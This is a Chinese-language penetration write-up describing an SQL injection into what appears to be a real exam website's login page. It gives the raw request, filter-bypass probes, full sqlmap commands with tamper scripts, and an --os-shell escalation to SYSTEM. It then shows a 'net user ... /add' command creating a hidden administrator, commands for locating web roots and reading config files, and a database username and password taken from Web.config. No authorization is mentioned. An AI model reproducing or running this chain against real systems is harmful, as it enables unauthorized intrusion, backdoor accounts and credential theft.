记一次SQL注入简单bypass

admin 2021年9月19日21:02:38评论117 views字数 3216阅读10分43秒阅读模式

0x00 存在 SQL 注入

总之是遇到一个站,登录的页面,数据包大致如下:

POST /jsweb/userlogin/UserLoginAction.aspx HTTP/1.1Host: 115.xxx.xxx.xxx:8042Content-Length: 47Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://115.xxx.xxx.xxx:8042Referer: http://115.xxx.xxx.xxx:8042/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: ASP.NET_SessionId=bxdzehxa5mvoco1fkrjlbqbtConnection: closeuname=admin*&pwd=dskfsdkf&valCode=1197&telphone=
其中验证码可以绕过,而登录名那里存在注入
记一次SQL注入简单bypass
记一次SQL注入简单bypass
使用 and 1=1、and 1=2 时,发现过滤了空格,用/**/代替
记一次SQL注入简单bypass

记一次SQL注入简单bypass

0x01 简单看一下

中间件是 IIS,存在 len 函数,确定为 SQLServer

记一次SQL注入简单bypass

Order by 一下,看看能不能 union,发现有 10 列

记一次SQL注入简单bypass

尝试 union select

记一次SQL注入简单bypass

admin 转换为 int 时出错,感觉好像能显示位,测试发现确实可以显示

记一次SQL注入简单bypass

可以获取数据库版本,可以确定有 union 注入了

记一次SQL注入简单bypass

0x02 sqlmap

sqlmap跑一下:

sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment

记一次SQL注入简单bypass

比较奇怪,手工的时候可以 union 的,先看看 boolean-based 获取数据吧
--current-db 倒是能获取到数据库名为 ExamDataP_2019,但是获取表名的时候就返回空了
sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment -D ExamDataP_2019 --tables

记一次SQL注入简单bypass

能判断出来有注入,手工测试 and 1=1 时可以,测试 union 也可以,看来确实有过滤

0x03 探测过滤

看看过滤了啥,union 比较快,就用 union、-v 5 看下 payload
sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment --technique=U --current-db -v 5
直接拿最后一个 payload 测试下

记一次SQL注入简单bypass

提示 98 附近有错误

记一次SQL注入简单bypass

感觉像过滤了char之类的函数,char 移到显示位,测一下
发现有加号的时候出错,没有的时候就没问题,可能是处理加号了

记一次SQL注入简单bypass

记一次SQL注入简单bypass

移到显示位测了下,确实处理加号了,替换为空了

记一次SQL注入简单bypass

0x04 tamper

去网上找了能替换加号的,没有找到相关信息,后来想着 sqlmap 的 tamper 会不会有,结果还真有

记一次SQL注入简单bypass

有两个 tamper,一个是适用 2012 的,一个是 2008 的,我们这里的数据库是 08 的,用 plus2fnconcat.py 这个,可以判断出来数据库了
sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --technique=U --current-db

记一次SQL注入简单bypass

Emmmmm,可以获取数据库表,但是获取表的列名时依然不返回数据

记一次SQL注入简单bypass

0x05 再次探测过滤

同样 -v 3 看 payload,然后测试

记一次SQL注入简单bypass

有语法错误,估计又是那个被替换为空了,慢慢试。。。
看了下语句,涉及到的也就是 union、select、concat、cast、from、syscolumns、sysobjects、where、and 这些个可能被过滤的,union、select 没问题,前面测试过了,剩下的被处理的关键字感觉大概率是 from、and。。。。

记一次SQL注入简单bypass

语法错误。。。应该就是 from 了。能报错,还是想法报错到显示位
emmmm,感觉好像没有哪里过滤。。。但就是有语法错误。。。

记一次SQL注入简单bypass

网上查了下,其实前面的 from 出错是因为表的原因,from 1,没有 1 这个表,所以出错。。。。。
sqlserver 和 mysql 不一样,还是用的少。。。

记一次SQL注入简单bypass

但是再次找个 pyaload 尝试依然有问题,不返回数据

记一次SQL注入简单bypass

同样的语句本地测试是可以返回数据的,费解

记一次SQL注入简单bypass

0x06 os-shell

实在没法了,--is-dba 为 True,直接 --os-shell
sqlmap --risk=3 --level=3 --batch --thread=1 -r 1.txt --dbms="mssql" --random-agent --prefix="'" --suffix="--" --tamper=space2comment,plus2fnconcat --os-shell

记一次SQL注入简单bypass

emmmmmm,system,啥都不说了。。。。。

记一次SQL注入简单bypass

看下端口

记一次SQL注入简单bypass

添加用户不行,卡死,估计是被拦截了
net user Guest1 Aa123456. /add & net localgroup administrators Guest1 /add & net user Guest1 /active:yes

记一次SQL注入简单bypass

看了下 tasklist,有 360,先传个 shell 吧,方便后续渗透
找路径:
dir /s /b e:"username.jpg"

记一次SQL注入简单bypass

通过 echo 写 txt 判断路径,试了几个都不是,写中文路径提示不存在。。。。。

记一次SQL注入简单bypass

本来网上查可以用 bat 写中文路径文件,用了 certutil、bitsadmin、powershell 都没有下载成功
看下有没有不是不包含中文的 web 路径:
type C:WindowsSystem32inetsrvconfigapplicationHost.config
发现 80 端口路径为 c:inetpubwwwroot

记一次SQL注入简单bypass

写一句话:

记一次SQL注入简单bypass

访问后出错

记一次SQL注入简单bypass

后续测试发现通过浏览器写中文名的话可以,创建了文件 9d.txt,证明网站路径就是 e:江xxxx网站JsWeb

记一次SQL注入简单bypass

现在的话就知道了目标的绝对路径为 e:江xxxx网站JsWeb,同时目标的 80 端口的绝对路径为 c:inetpubwwwroot
PS: 由于当时有别的事,没有继续向下做,其实还可以数据库备份 shell 到网站目录,后续也见到了一个不会出现 “/” 应用程序中的服务错误的 webshell

0x07 找数据库信息

找 Web.config,
dir /s /b e:"Web.config",type e:b2cexamweb.config
获取到一个数据库用户名密码user id=kw;password=123456;

记一次SQL注入简单bypass

记一次SQL注入简单bypass

作者:reber

原文:https://wyb0.com/posts/2020/recording-a-injection-bypass/

推荐阅读记一次SQL注入简单bypass

点击关注乌雲安全

觉得不错点个“赞”、“在看”,支持下小编记一次SQL注入简单bypass

本文始发于微信公众号(乌雲安全):记一次SQL注入简单bypass

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月19日21:02:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次SQL注入简单bypasshttps://cn-sec.com/archives/366187.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息